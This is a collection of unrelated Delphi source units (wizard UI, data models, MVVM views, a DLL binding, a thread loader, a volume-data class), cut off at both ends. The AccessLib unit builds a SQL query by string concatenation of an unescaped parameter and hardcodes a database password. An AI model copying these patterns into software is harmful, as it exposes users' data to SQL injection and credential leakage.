cbColumns.Left := R.Left + 1;
cbColumns.Top := R.Top + 1;
cbColumns.Width := (R.Right + 1) - R.Left;
cbColumns.Height := (R.Bottom + 1) - R.Top;
{Show the combobox}
cbColumns.Text := sgColumns.Cells[ACol, ARow];
cbColumns.Visible := True;
cbColumns.SetFocus;
end;
CanSelect := True;
end;
procedure TWizSetupColumns.FillColumnGrid;
var
i : integer;
begin
//System Columns
case DM.iEntityType of
ENTITY_CUSTOMER :
begin
if cbColumns.Items.Count <> DM.quCustomer.FieldCount then
begin
cbColumns.Clear;
cbColumns.Items.Add('');
for i:=0 to DM.quCustomer.FieldCount-1 do
if DM.quCustomer.Fields.Fields[i].Visible then
cbColumns.Items.Add(DM.quCustomer.Fields.Fields[i].FieldName);
end;
end;
ENTITY_PAYMENT :
begin
DM.OpenPaymentDetail(1,'01/01/2005','01/01/2005');
if cbColumns.Items.Count <> DM.quPaymentDetail.FieldCount then
begin
cbColumns.Clear;
cbColumns.Items.Add('');
for i:=0 to DM.quPaymentDetail.FieldCount-1 do
if DM.quPaymentDetail.Fields.Fields[i].Visible then
cbColumns.Items.Add(DM.quPaymentDetail.Fields.Fields[i].FieldName);
end;
end;
ENTITY_SALE_INVOICE :
begin
DM.OpenSaleInvoice('01/01/2005','01/01/2005');
if cbColumns.Items.Count <> DM.quSaleInvoice.FieldCount then
begin
cbColumns.Clear;
cbColumns.Items.Add('');
for i:=0 to DM.quSaleInvoice.FieldCount-1 do
if DM.quSaleInvoice.Fields.Fields[i].Visible then
cbColumns.Items.Add(DM.quSaleInvoice.Fields.Fields[i].FieldName);
end;
end;
end;
case DM.iSoftware of
SOFTWARE_MAS90: FillMAS90ColumnsGrid;
end;
end;
function TWizSetupColumns.DoFinish: Integer;
begin
//Finish
end;
procedure TWizSetupColumns.treeSoftwareClick(Sender: TObject);
begin
lbSoftware.Visible := True;
case treeSoftware.Selected.Index of
0 : begin
DM.iSoftware := SOFTWARE_MAS90;
lbSoftware.Caption := 'The data will exported to MAS90.';
end;
end;
end;
procedure TWizSetupColumns.cbColumnsChange(Sender: TObject);
begin
{Get the ComboBox selection and place in the grid}
sgColumns.Cells[sgColumns.Col, sgColumns.Row] := cbColumns.Items[cbColumns.ItemIndex];
cbColumns.Visible := False;
sgColumns.SetFocus;
end;
procedure TWizSetupColumns.cbColumnsExit(Sender: TObject);
begin
{Get the ComboBox selection and place in the grid}
sgColumns.Cells[sgColumns.Col, sgColumns.Row] := cbColumns.Items[cbColumns.ItemIndex];
cbColumns.Visible := False;
sgColumns.SetFocus;
end;
procedure TWizSetupColumns.OnAfterDoFinish;
begin
inherited;
SaveGridColumn;
end;
procedure TWizSetupColumns.cbxFileTypeChange(Sender: TObject);
begin
inherited;
DM.iEntityType := cbxFileType.ItemIndex;
end;
procedure TWizSetupColumns.ClearColumns;
var i: integer;
begin
for i:=1 to sgColumns.RowCount-1 do
begin
sgColumns.Cells[COLUMN_OTHER_ACC,i] := '';
sgColumns.Cells[COLUMN_OFFICEM,i] := '';
end;
end;
end.
|
unit Invoice.Model.Table.Firedac;
interface
uses System.Classes, Data.DB, System.SysUtils,
Firedac.Stan.Option, Firedac.Stan.Error, Firedac.UI.Intf, Firedac.Phys.Intf,
Firedac.Stan.Def, Firedac.Stan.Pool, Firedac.Stan.Async, Firedac.Phys,
Firedac.Phys.MSSQL, Firedac.Phys.MSSQLDef, Firedac.VCLUI.Wait, Firedac.Stan.Intf,
Firedac.Stan.Param, Firedac.DatS, Firedac.DApt.Intf, Firedac.DApt,
Firedac.Comp.DataSet, Firedac.Comp.Client, Firedac.Phys.ODBCBase, Firedac.Comp.UI,
Invoice.Model.Interfaces, Invoice.Controller.Interfaces;
type
TModelTableFiredac = class(TInterfacedObject, iTable)
private
FConnection: iModelConnection;
FTable: TFDTable;
public
constructor Create(aConnection: iModelConnection);
destructor Destroy; override;
class function New(aConnection: iModelConnection): iTable;
function Open(aTable: String): TDataSet;
end;
implementation
{ TModelTableFiredac }
uses Invoice.Model.Connection.Firedac;
constructor TModelTableFiredac.Create(aConnection: iModelConnection);
begin
FConnection := aConnection;
//
if not Assigned(FConnection.Connection) then
raise Exception.Create('Connection is not valid.');
//
FTable := TFDTable.Create(nil);
//
FTable.Connection := TFDConnection(FConnection.Connection);
end;
destructor TModelTableFiredac.Destroy;
begin
FTable.Close;
//
FreeAndNil(FTable);
//
inherited;
end;
class function TModelTableFiredac.New(aConnection: iModelConnection): iTable;
begin
Result := Self.Create(aConnection);
end;
function TModelTableFiredac.Open(aTable: String): TDataSet;
begin
FTable.Open(aTable);
//
Result := FTable;
end;
end.
|
unit uModDNRecv;
interface
uses
SysUtils, Windows, Messages, Classes, Graphics, Controls, Forms, Dialogs,
uModApp, System.Generics.Collections,
uModBarang, uModSatuan, uModDO, uModPO, uModUnit, uModSuplier, uModGudang;
type
TModDNRecvItem = class;
TModDNRecv = class(TModApp)
private
FDNR_DNRDITEMS: TObjectList<TModDNRecvItem>;
FDNR_DATE: TDatetime;
FDNR_DESCRIPTION: Double;
FDNR_DO: TModDO;
FDNR_Gudang: TModGudang;
FDNR_INV_NO: string;
FDNR_IS_CLAIM: Integer;
FDNR_NO: string;
FDNR_PO: TModPO;
FDNR_PPN: Double;
FDNR_PPNBM: Double;
FDNR_TOTAL: Double;
FDNR_TOTAL_DISC: Double;
FDNR_UNT: TModUnit;
function GetDNR_DNRDITEMS: TObjectList<TModDNRecvItem>;
function GetDNR_TOTAL_TAX: Double;
public
class function GetTableName: string; override;
property DNR_DNRDITEMS: TObjectList<TModDNRecvItem> read GetDNR_DNRDITEMS
write FDNR_DNRDITEMS;
published
property DNR_DATE: TDatetime read FDNR_DATE write FDNR_DATE;
property DNR_DESCRIPTION: Double read FDNR_DESCRIPTION write
FDNR_DESCRIPTION;
[AttributeOfForeign('DO_ID')]
property DNR_DO: TModDO read FDNR_DO write FDNR_DO;
property DNR_Gudang: TModGudang read FDNR_Gudang write FDNR_Gudang;
property DNR_INV_NO: string read FDNR_INV_NO write FDNR_INV_NO;
property DNR_IS_CLAIM: Integer read FDNR_IS_CLAIM write FDNR_IS_CLAIM;
[AttributeOfCode]
property DNR_NO: string read FDNR_NO write FDNR_NO;
[AttributeOfForeign('PO_ID')]
property DNR_PO: TModPO read FDNR_PO write FDNR_PO;
property DNR_PPN: Double read FDNR_PPN write FDNR_PPN;
property DNR_PPNBM: Double read FDNR_PPNBM write FDNR_PPNBM;
property DNR_TOTAL: Double read FDNR_TOTAL write FDNR_TOTAL;
property DNR_TOTAL_DISC: Double read FDNR_TOTAL_DISC write FDNR_TOTAL_DISC;
property DNR_TOTAL_TAX: Double read GetDNR_TOTAL_TAX;
[AttributeOfForeign('AUT$UNIT_ID')]
property DNR_UNT: TModUnit read FDNR_UNT write FDNR_UNT;
end;
TModDNRecvItem = class(TModApp)
private
FBARANG_SUPLIER: TModBarangSupplier;
FBARANG: TModBarang;
FDN_RECV: TModDNRecv;
FDNRD_IS_CLAIM_TTF: Integer;
FDNRD_IS_OUTSTANDING: Integer;
FDNRD_IS_PROCESS: Integer;
FPO_DETAIL: TmODPOItem;
FDNRD_PPN: Double;
FDISCOUNT: Double;
FDNRD_PPNBM: Double;
FDNRD_PPNBM_PERSEN: Double;
FDNRD_PPN_PERSEN: Double;
FDNRD_PRICE: Double;
FDNRD_QTY: Double;
FDNRD_TOTAL: Double;
FDNRD_TOTAL_DISC: Double;
FDNRD_UOM: TModSatuan;
public
class function GetTableName: string; override;
published
property BARANG_SUPLIER: TModBarangSupplier read FBARANG_SUPLIER write
FBARANG_SUPLIER;
property BARANG: TModBarang read FBARANG write FBARANG;
[AttributeOfHeader]
property DN_RECV: TModDNRecv read FDN_RECV write FDN_RECV;
property DNRD_IS_CLAIM_TTF: Integer read FDNRD_IS_CLAIM_TTF write
FDNRD_IS_CLAIM_TTF;
property DNRD_IS_OUTSTANDING: Integer read FDNRD_IS_OUTSTANDING write
FDNRD_IS_OUTSTANDING;
property DNRD_IS_PROCESS: Integer read FDNRD_IS_PROCESS write
FDNRD_IS_PROCESS;
property PO_DETAIL: TmODPOItem read FPO_DETAIL write FPO_DETAIL;
property DNRD_PPN: Double read FDNRD_PPN write FDNRD_PPN;
property DISCOUNT: Double read FDISCOUNT write FDISCOUNT;
property DNRD_PPNBM: Double read FDNRD_PPNBM write FDNRD_PPNBM;
property DNRD_PPNBM_PERSEN: Double read FDNRD_PPNBM_PERSEN write
FDNRD_PPNBM_PERSEN;
property DNRD_PPN_PERSEN: Double read FDNRD_PPN_PERSEN write
FDNRD_PPN_PERSEN;
property DNRD_PRICE: Double read FDNRD_PRICE write FDNRD_PRICE;
property DNRD_QTY: Double read FDNRD_QTY write FDNRD_QTY;
property DNRD_TOTAL: Double read FDNRD_TOTAL write FDNRD_TOTAL;
property DNRD_TOTAL_DISC: Double read FDNRD_TOTAL_DISC write
FDNRD_TOTAL_DISC;
[AttributeOfForeign('REF$SATUAN_ID')]
property DNRD_UOM: TModSatuan read FDNRD_UOM write FDNRD_UOM;
end;
implementation
{
********************************** TModDNRecv **********************************
}
function TModDNRecv.GetDNR_DNRDITEMS: TObjectList<TModDNRecvItem>;
begin
if not Assigned(FDNR_DNRDITEMS) then
FDNR_DNRDITEMS := TObjectList<TModDNRecvItem>.Create();
Result := FDNR_DNRDITEMS;
end;
function TModDNRecv.GetDNR_TOTAL_TAX: Double;
begin
Result := DNR_PPN + DNR_PPNBM;
end;
class function TModDNRecv.GetTableName: string;
begin
Result := 'DN_RECV';
end;
class function TModDNRecvItem.GetTableName: string;
begin
Result := 'DN_RECV_DETIL';
end;
initialization
TModDNRecv.RegisterRTTI;
TModDNRecvItem.RegisterRTTI;
end.
|
unit Informe_View;
interface
uses
Informe_ViewModel_Implementation,
Classes, Controls, Forms, StdCtrls, ExtCtrls, Buttons, ComCtrls, Graphics;
type
TfmInforme_View = class(TForm)
pnlGeneral: TPanel;
Bevel2: TBevel;
pnlOkCancel: TPanel;
imgOK_CC_OkCancelPanel: TImage;
imgCancel_CC_OkCancelPanel: TImage;
btnOk: TBitBtn;
btnCancel: TBitBtn;
procedure btnCancelClick(Sender: TObject);
procedure btnOkClick(Sender: TObject);
procedure evtCambiosEnView(Sender: TObject); virtual;
procedure FormClose(Sender: TObject; var Action: TCloseAction);
procedure FormDestroy(Sender: TObject);
private
fViewModel: TInforme_ViewModel;
procedure CambiosEnViewModel(Sender:TObject);
protected
procedure CambiosEnView; virtual;
procedure ActualizarInterface; virtual;
function ClaseInforme:TInforme_ViewModel_Class; virtual;
procedure TickInforme(Sender:TObject); virtual;
property ViewModel:TInforme_ViewModel read fViewModel;//IInforme_ViewModel;
public
class procedure EmitirInforme(const InjectedViewModel:TInforme_ViewModel=nil);
end;
implementation
{$R *.DFM}
class procedure TfmInforme_View.EmitirInforme(const InjectedViewModel:TInforme_ViewModel=nil);
var
aView: TfmInforme_View;
begin
Application.CreateForm(Self, aView);
try
if Assigned(InjectedViewModel) then
aView.fViewModel:=InjectedViewModel
else
aView.fViewModel:=aView.ClaseInforme.Create;
aView.ViewModel.Iniciar(aView.CambiosEnViewModel);
aView.ViewModel.TickInforme:=aView.TickInforme;
aView.ActualizarInterface;
aView.ShowModal;
except
aView.Release;
end
end;
procedure TfmInforme_View.btnOkClick(Sender: TObject);
begin
if ViewModel.EmitirInformeOK then begin
ViewModel.EmitirInforme;
end;
ModalResult:=mrOK;
end;
procedure TfmInforme_View.evtCambiosEnView(Sender: TObject);
begin
CambiosEnView;
end;
procedure TfmInforme_View.ActualizarInterface;
begin
btnOk.Enabled:=ViewModel.EmitirInformeOK;
end;
procedure TfmInforme_View.btnCancelClick(Sender: TObject);
begin
Close;
end;
procedure TfmInforme_View.FormClose(Sender: TObject;var Action: TCloseAction);
begin
Action:=caFree;
end;
procedure TfmInforme_View.CambiosEnViewModel(Sender: TObject);
begin
ActualizarInterface;
end;
procedure TfmInforme_View.CambiosEnView;
begin
//Asignar datos de View a ViewModel
end;
function TfmInforme_View.ClaseInforme: TInforme_ViewModel_Class;
begin
result:=TInforme_ViewModel;
end;
procedure TfmInforme_View.FormDestroy(Sender: TObject);
begin
if Assigned(fViewModel) then begin
fViewModel.Free;
fViewModel:=nil;
end;
end;
procedure TfmInforme_View.TickInforme(Sender: TObject);
begin
// FormEspera.Avanzar;
end;
end.
|
unit SimpleMvvm.ViewModels.SampleDialogViewModel;
interface
uses
DSharp.PresentationModel.ViewModelBase,
// SysUtils,
DSharp.ComponentModel.Composition,
SimpleMvvm.Interfaces;
type
[PartCreationPolicy(cpNonShared)]
TSampleDialogViewModel = class(TViewModelBase, ISampleDialogViewModel)
private
fTopText: string;
fBottomText: string;
procedure SetTopText(const Value: string);
procedure SetBottomText(const Value: string);
public
constructor Create(); override;
property TopText: string read fTopText write SetTopText;
property BottomText: string read fBottomText write SetBottomText;
end;
implementation
{ TSampleDialogViewModel }
constructor TSampleDialogViewModel.Create;
begin
inherited;
TopText := 'Initial Sample Dialog Text';
end;
procedure TSampleDialogViewModel.SetBottomText(const Value: string);
begin
fBottomText := Value;
fTopText := Value;
DoPropertyChanged('TopText');
DoPropertyChanged('BottomText');
end;
procedure TSampleDialogViewModel.SetTopText(const Value: string);
begin
fBottomText := Value;
fTopText := Value;
DoPropertyChanged('TopText');
DoPropertyChanged('BottomText');
end;
initialization
TSampleDialogViewModel.ClassName;
end.
|
unit NVTriStrip;
(*** NVTriStrip DLL
*
* Written by Tom Nuydens (tom@delphi3d.net -- http://www.delphi3d.net), based
* on the original NVTriStrip library by NVIDIA.
*
*)
// Modified by XProger
// http://xproger.mirgames.ru :D
interface
const
NVTRISTRIP_DLL = 'nvtristrip.dll';
// Valid cache sizes:
const
NVTS_CACHE_SIZE_GEFORCE1_2 = 16;
NVTS_CACHE_SIZE_GEFORCE3 = 24;
// Primitive types:
const
NVTS_TRIANGLE_LIST = 0;
NVTS_TRIANGLE_STRIP = 1;
NVTS_TRIANGLE_FAN = 2;
// A primitive group:
type
PWordArray = ^TWordArray;
TWordArray = array [0..1] of Word;
PNVTSPrimitiveGroup = ^NVTSPrimitiveGroup;
NVTSPrimitiveGroup = record
pgtype : Cardinal;
numIndices : Cardinal;
indices : PWordArray;
end;
// Exported functions:
procedure nvtsSetCacheSize(s: Cardinal);
stdcall; external NVTRISTRIP_DLL name '_nvtsSetCacheSize@4';
procedure nvtsSetStitchStrips(s: Boolean);
stdcall; external NVTRISTRIP_DLL name '_nvtsSetStitchStrips@4';
procedure nvtsSetMinStripLength(l: Cardinal);
stdcall; external NVTRISTRIP_DLL name '_nvtsSetMinStripLength@4';
procedure nvtsSetListOnly(l: Boolean);
stdcall; external NVTRISTRIP_DLL name '_nvtsSetListOnly@4';
procedure nvtsGenerateStrips(in_indices: PWordArray; in_numIndices: Cardinal;
var primGroups: PNVTSPrimitiveGroup;
var numGroups: Word);
stdcall; external NVTRISTRIP_DLL name '_nvtsGenerateStrips@16';
procedure nvtsRemapIndices(in_primGroups: PNVTSPrimitiveGroup; numGroups: Word;
numVerts: Word;
var remappedGroups: PNVTSPrimitiveGroup);
stdcall; external NVTRISTRIP_DLL name '_nvtsRemapIndices@16';
procedure nvtsDeletePrimitiveGroups(primGroups: PNVTSPrimitiveGroup;
numGroups: Word);
stdcall; external NVTRISTRIP_DLL name '_nvtsDeletePrimitiveGroups@8';
implementation
end.
|
unit uFastLoad;
interface
uses
System.SysUtils,
Winapi.Windows,
Vcl.Forms,
Dmitry.Utils.System,
uDBCustomThread,
uTime,
uMemory;
type
TLoad = class(TObject)
private
//FAST LOAD
LoadDBKernelIconsThreadID,
LoadDBSettingsThreadID,
LoadCRCCheckThreadID,
LoadPersonsThreadID,
LoadStyleThreadID: TGUID;
procedure WaitForThread(Thread: TGUID);
public
constructor Create;
destructor Destroy; override;
class function Instance: TLoad;
//Starts
procedure StartDBKernelIconsThread;
procedure StartCRCCheckThread;
procedure StartPersonsThread;
procedure StartStyleThread;
//Requareds
procedure RequiredCRCCheck;
procedure RequiredDBKernelIcons;
procedure RequaredPersons;
procedure RequiredStyle;
procedure Stop;
end;
implementation
uses
{$IFNDEF TESTS}
UnitLoadDBKernelIconsThread,
UnitLoadCRCCheckThread,
UnitLoadPersonsThread,
uLoadStyleThread,
{$ENDIF}
uDBThread;
var
SLoadInstance: TLoad = nil;
{ TLoad }
constructor TLoad.Create;
begin
LoadDBKernelIconsThreadID := GetEmptyGUID;
LoadCRCCheckThreadID := GetEmptyGUID;
LoadPersonsThreadID := GetEmptyGUID;
LoadStyleThreadID := GetEmptyGUID;
end;
destructor TLoad.Destroy;
begin
inherited;
end;
class function TLoad.Instance: TLoad;
begin
if SLoadInstance = nil then
SLoadInstance := TLoad.Create;
Result := SLoadInstance;
end;
procedure TLoad.StartDBKernelIconsThread;
var
T: TDBThread;
begin
{$IFNDEF TESTS}
T := TLoadDBKernelIconsThread.Create(nil, True);
LoadDBKernelIconsThreadID := T.UniqID;
T.Start;
{$ENDIF}
end;
procedure TLoad.StartPersonsThread;
var
T: TDBThread;
begin
{$IFNDEF TESTS}
T := TLoadPersonsThread.Create(nil, True);
LoadPersonsThreadID := T.UniqID;
T.Start;
{$ENDIF}
end;
procedure TLoad.StartStyleThread;
var
T: TDBThread;
begin
{$IFNDEF TESTS}
T := TLoadStyleThread.Create(nil, True);
LoadStyleThreadID := T.UniqID;
T.Start;
{$ENDIF}
end;
procedure TLoad.StartCRCCheckThread;
var
T: TDBThread;
begin
{$IFNDEF TESTS}
T := TLoadCRCCheckThread.Create(nil, True);
LoadCRCCheckThreadID := T.UniqID;
T.Start;
{$ENDIF}
end;
procedure TLoad.Stop;
procedure KillThread(Thread: TGUID);
begin
if DBThreadManager.IsThread(Thread) then
TerminateThread(DBThreadManager.GetThreadHandle(Thread), 0);
end;
begin
KillThread(LoadDBKernelIconsThreadID);
KillThread(LoadDBSettingsThreadID);
KillThread(LoadCRCCheckThreadID);
KillThread(LoadPersonsThreadID);
KillThread(LoadStyleThreadID);
end;
procedure TLoad.WaitForThread(Thread: TGUID);
var
H: THandle;
C: Integer;
begin
if DBThreadManager.IsThread(Thread) then
begin
H := DBThreadManager.GetThreadHandle(Thread);
if H <> 0 then
begin
TW.I.Start('WaitForSingleObject: ' + IntToStr(H));
C := 0;
while (WAIT_TIMEOUT = WaitForSingleObject(H, 10)) do
begin
C := C + 10;
Application.ProcessMessages;
if not DBThreadManager.IsThread(Thread) then
Break;
if C > 10000 then
Break;
end;
end;
end;
end;
procedure TLoad.RequiredCRCCheck;
begin
TW.I.Start('TLoad.RequaredCRCCheck');
if LoadCRCCheckThreadID <> GetEmptyGUID then
WaitForThread(LoadCRCCheckThreadID);
LoadCRCCheckThreadID := GetEmptyGUID;
end;
procedure TLoad.RequiredDBKernelIcons;
begin
TW.I.Start('TLoad.RequaredDBKernelIcons');
if LoadDBKernelIconsThreadID <> GetEmptyGUID then
WaitForThread(LoadDBKernelIconsThreadID);
LoadDBKernelIconsThreadID := GetEmptyGUID;
end;
procedure TLoad.RequaredPersons;
begin
TW.I.Start('TLoad.RequaredPersons');
if LoadPersonsThreadID <> GetEmptyGUID then
WaitForThread(LoadPersonsThreadID);
LoadPersonsThreadID := GetEmptyGUID;
end;
procedure TLoad.RequiredStyle;
begin
TW.I.Start('TLoad.RequaredStyle');
if LoadStyleThreadID <> GetEmptyGUID then
WaitForThread(LoadStyleThreadID);
LoadStyleThreadID := GetEmptyGUID;
end;
initialization
finalization
F(SLoadInstance);
end.
|
unit AccessLib;
interface
uses
ADODB, SysUtils, Common, BaseServerLib;
type
TParam = class(TBaseObject)
PID: string;
PValue: string;
PName: string;
end;
TParams = array of TParam;
TParamManage = class(TBaseServer)
public
ADOQuery: TADOQuery;
ADOConnection: TADOConnection;
function GetParamByName(PName: string): TParam;
function AddParam(Param: TParam): Boolean;
function SaveRange(Params: TParams): Boolean;
function SaveParam(PName, PValue: string): Boolean;
function UpdateParam(Param: TParam): Boolean;
function DeleteParam(Param: TParam): Boolean;
constructor Create; overload;
destructor Destroy; override;
end;
implementation
constructor TParamManage.Create;
begin
inherited Create;
try
Self.ADOQuery := TADOQuery.Create(nil);
Self.ADOConnection := TADOConnection.Create(nil);
ADOConnection.ConnectionString := 'Provider=Microsoft.Jet.OLEDB.4.0;Data Source=' + ExtractFileDir(PARAMSTR(0)) + '\file\Config.mdb;Jet OLEDB:Database Password=itebase';
ADOConnection.LoginPrompt := false;
ADOQuery.Connection := ADOConnection;
ADOConnection.Open;
except
ShowErrorMessage('找不到参数配置文件!');
end;
end;
destructor TParamManage.Destroy;
begin
try
ADOQuery.Close;
ADOConnection.Close;
ADOQuery.Destroy;
ADOConnection.Destroy;
inherited Destroy;
except
ShowErrorMessage('找不到参数配置文件!');
end;
end;
function TParamManage.GetParamByName(PName: string): TParam;
var
Param: TParam;
begin
Result := nil;
Param := TParam.Create;
try
with ADOQuery do
begin
Close;
Sql.Clear;
Sql.Add('select * from Param where pname = ''' + PName + '''');
Open;
First;
while not Eof do
begin
Param.PID := FieldByName('pid').AsString;
Param.PValue := Common.UncrypKey(FieldByName('pvalue').AsString);
Param.PName := FieldByName('pname').AsString;
Result := Param;
Next;
end;
Close;
end;
except
ShowErrorMessage('找不到参数配置文件!');
end;
if Result = nil then
begin
Param := TParam.Create(true);
Param.PName := PName;
Result := Param;
end;
end;
function TParamManage.SaveRange(Params: TParams): Boolean;
var
I: Integer;
Temp: string;
begin
Result := false;
try
with ADOQuery do
begin
Close;
for I := 0 to Length(Params) - 1 do
begin
Sql.Clear;
if Params[I].NeedAdd then
begin
Params[I].PID := Params[I].OnlyId;
Sql.Add('insert into Param values (:PID,:PName,:PValue)');
Parameters.ParamByName('PID').Value := Params[I].PID;
Parameters.ParamByName('PValue').Value := Common.EncrypKey(Params[I].PValue);
Parameters.ParamByName('PName').Value := Params[I].PName;
end
else
begin
Sql.Add('update Param set PValue = :PValue, PName = :PName where PID =:PID');
Parameters.ParamByName('PID').Value := Params[I].PID;
Parameters.ParamByName('PValue').Value := Common.EncrypKey(Params[I].PValue);
Parameters.ParamByName('PName').Value := Params[I].PName;
end;
ExecSQL;
Sleep(800);
Sql.Clear;
end;
Close;
end;
except
end;
Result := true;
end;
function TParamManage.SaveParam(PName, PValue: string): Boolean;
var
Param: TParam;
begin
Param := GetParamByName(PName);
Param.PValue := PValue;
if Param.NeedAdd then
AddParam(Param)
else
UpdateParam(Param);
end;
function TParamManage.AddParam(Param: TParam): Boolean;
begin
Result := false;
Param.PID := Param.OnlyId;
try
with ADOQuery do
begin
Close;
Sql.Clear;
Sql.Add('insert into Param values (:PID,:PName,:PValue)');
Parameters.ParamByName('PID').Value := Param.PID;
Parameters.ParamByName('PValue').Value := Common.EncrypKey(Param.PValue);
Parameters.ParamByName('PName').Value := Param.PName;
ExecSQL;
Close;
end;
except
end;
Result := true;
end;
function TParamManage.UpdateParam(Param: TParam): Boolean;
begin
Result := false;
try
with ADOQuery do
begin
Close;
Sql.Clear;
Sql.Add('update Param set PValue = :PValue, PName = :PName where PID =:PID');
Parameters.ParamByName('PID').Value := Param.PID;
Parameters.ParamByName('PValue').Value := Common.EncrypKey(Param.PValue);
Parameters.ParamByName('PName').Value := Param.PName;
ExecSQL;
Close;
end;
except
end;
Result := true;
end;
function TParamManage.DeleteParam(Param: TParam): Boolean;
begin
Result := false;
try
with ADOQuery do
begin
Close;
Sql.Clear;
Sql.Add('delete from Param where PID =:PID');
Parameters.ParamByName('PID').Value := Param.PID;
ExecSQL;
Close;
end;
except
end;
Result := true;
end;
end.
|
unit VolumeRGBAIntData;
interface
uses Windows, Graphics, Abstract3DVolumeData, AbstractDataSet, RGBAIntDataSet,
Math;
type
TImagePixelRGBAIntData = record
r,g,b,a: longword;
end;
T3DVolumeRGBAIntData = class (TAbstract3DVolumeData)
private
FDefaultColor: TImagePixelRGBAIntData;
// Gets
function GetData(_x, _y, _z, _c: integer):integer;
function GetDataUnsafe(_x, _y, _z, _c: integer):integer;
function GetDefaultColor:TImagePixelRGBAIntData;
// Sets
procedure SetData(_x, _y, _z, _c: integer; _value: integer);
procedure SetDataUnsafe(_x, _y, _z, _c: integer; _value: integer);
procedure SetDefaultColor(_value: TImagePixelRGBAIntData);
protected
// Constructors and Destructors
procedure Initialize; override;
// Gets
function GetBitmapPixelColor(_Position: longword):longword; override;
function GetRPixelColor(_Position: longword):byte; override;
function GetGPixelColor(_Position: longword):byte; override;
function GetBPixelColor(_Position: longword):byte; override;
function GetAPixelColor(_Position: longword):byte; override;
function GetRedPixelColor(_x,_y,_z: integer):single; override;
function GetGreenPixelColor(_x,_y,_z: integer):single; override;
function GetBluePixelColor(_x,_y,_z: integer):single; override;
function GetAlphaPixelColor(_x,_y,_z: integer):single; override;
// Sets
procedure SetBitmapPixelColor(_Position, _Color: longword); override;
procedure SetRGBAPixelColor(_Position: integer; _r, _g, _b, _a: byte); override;
procedure SetRedPixelColor(_x,_y,_z: integer; _value:single); override;
procedure SetGreenPixelColor(_x,_y,_z: integer; _value:single); override;
procedure SetBluePixelColor(_x,_y,_z: integer; _value:single); override;
procedure SetAlphaPixelColor(_x,_y,_z: integer; _value:single); override;
// Copies
procedure CopyData(const _Data: TAbstractDataSet; _DataXSize, _DataYSize, _DataZSize: integer); override;
public
// copies
procedure Assign(const _Source: TAbstract3DVolumeData); override;
// Misc
procedure ScaleBy(_Value: single); override;
procedure Invert; override;
procedure Fill(_Value: integer);
// properties
property Data[_x,_y,_z,_c:integer]:integer read GetData write SetData; default;
property DataUnsafe[_x,_y,_z,_c:integer]:integer read GetDataUnsafe write SetDataUnsafe;
property DefaultColor:TImagePixelRGBAIntData read GetDefaultColor write SetDefaultColor;
end;
implementation
// Constructors and Destructors
procedure T3DVolumeRGBAIntData.Initialize;
begin
FDefaultColor.r := 0;
FDefaultColor.g := 0;
FDefaultColor.b := 0;
FDefaultColor.a := 0;
FData := TRGBAIntDataSet.Create;
end;
// Gets
function T3DVolumeRGBAIntData.GetData(_x, _y, _z, _c: integer):integer;
begin
if IsPixelValid(_x,_y,_z) and (_c >= 0) and (_c <= 2) then
begin
case (_c) of
0: Result := (FData as TRGBAIntDataSet).Red[(_z * FYxXSize) + (_y * FXSize) + _x];
1: Result := (FData as TRGBAIntDataSet).Green[(_z * FYxXSize) + (_y * FXSize) + _x];
2: Result := (FData as TRGBAIntDataSet).Blue[(_z * FYxXSize) + (_y * FXSize) + _x];
else
begin
Result := (FData as TRGBAIntDataSet).Alpha[(_z * FYxXSize) + (_y * FXSize) + _x];
end;
end;
end
else
begin
case (_c) of
0: Result := FDefaultColor.r;
1: Result := FDefaultColor.g;
2: Result := FDefaultColor.b;
else
begin
Result := FDefaultColor.a;
end;
end;
end;
end;
function T3DVolumeRGBAIntData.GetDataUnsafe(_x, _y, _z, _c: integer):integer;
begin
case (_c) of
0: Result := (FData as TRGBAIntDataSet).Red[(_z * FYxXSize) + (_y * FXSize) + _x];
1: Result := (FData as TRGBAIntDataSet).Green[(_z * FYxXSize) + (_y * FXSize) + _x];
2: Result := (FData as TRGBAIntDataSet).Blue[(_z * FYxXSize) + (_y * FXSize) + _x];
else
begin
Result := (FData as TRGBAIntDataSet).Alpha[(_z * FYxXSize) + (_y * FXSize) + _x];
end;
end;
end;
function T3DVolumeRGBAIntData.GetDefaultColor:TImagePixelRGBAIntData;
begin
Result := FDefaultColor;
end;
function T3DVolumeRGBAIntData.GetBitmapPixelColor(_Position: longword):longword;
begin
Result := RGB((FData as TRGBAIntDataSet).Blue[_Position],(FData as TRGBAIntDataSet).Green[_Position],(FData as TRGBAIntDataSet).Red[_Position]);
end;
function T3DVolumeRGBAIntData.GetRPixelColor(_Position: longword):byte;
begin
Result := (FData as TRGBAIntDataSet).Red[_Position] and $FF;
end;
function T3DVolumeRGBAIntData.GetGPixelColor(_Position: longword):byte;
begin
Result := (FData as TRGBAIntDataSet).Green[_Position] and $FF;
end;
function T3DVolumeRGBAIntData.GetBPixelColor(_Position: longword):byte;
begin
Result := (FData as TRGBAIntDataSet).Blue[_Position] and $FF;
end;
function T3DVolumeRGBAIntData.GetAPixelColor(_Position: longword):byte;
begin
Result := (FData as TRGBAIntDataSet).Alpha[_Position] and $FF;
end;
function T3DVolumeRGBAIntData.GetRedPixelColor(_x,_y,_z: integer):single;
begin
Result := (FData as TRGBAIntDataSet).Red[(_z * FYxXSize) + (_y * FXSize) + _x];
end;
function T3DVolumeRGBAIntData.GetGreenPixelColor(_x,_y,_z: integer):single;
begin
Result := (FData as TRGBAIntDataSet).Green[(_z * FYxXSize) + (_y * FXSize) + _x];
end;
function T3DVolumeRGBAIntData.GetBluePixelColor(_x,_y,_z: integer):single;
begin
Result := (FData as TRGBAIntDataSet).Blue[(_z * FYxXSize) + (_y * FXSize) + _x];
end;
function T3DVolumeRGBAIntData.GetAlphaPixelColor(_x,_y,_z: integer):single;
begin
Result := (FData as TRGBAIntDataSet).Alpha[(_z * FYxXSize) + (_y * FXSize) + _x];
end;
// Sets
procedure T3DVolumeRGBAIntData.SetBitmapPixelColor(_Position, _Color: longword);
begin
(FData as TRGBAIntDataSet).Red[_Position] := GetRValue(_Color);
(FData as TRGBAIntDataSet).Green[_Position] := GetGValue(_Color);
(FData as TRGBAIntDataSet).Blue[_Position] := GetBValue(_Color);
end;
procedure T3DVolumeRGBAIntData.SetRGBAPixelColor(_Position: integer; _r, _g, _b, _a: byte);
begin
(FData as TRGBAIntDataSet).Red[_Position] := _r;
(FData as TRGBAIntDataSet).Green[_Position] := _g;
(FData as TRGBAIntDataSet).Blue[_Position] := _b;
(FData as TRGBAIntDataSet).Alpha[_Position] := _a;
end;
procedure T3DVolumeRGBAIntData.SetRedPixelColor(_x,_y,_z: integer; _value:single);
begin
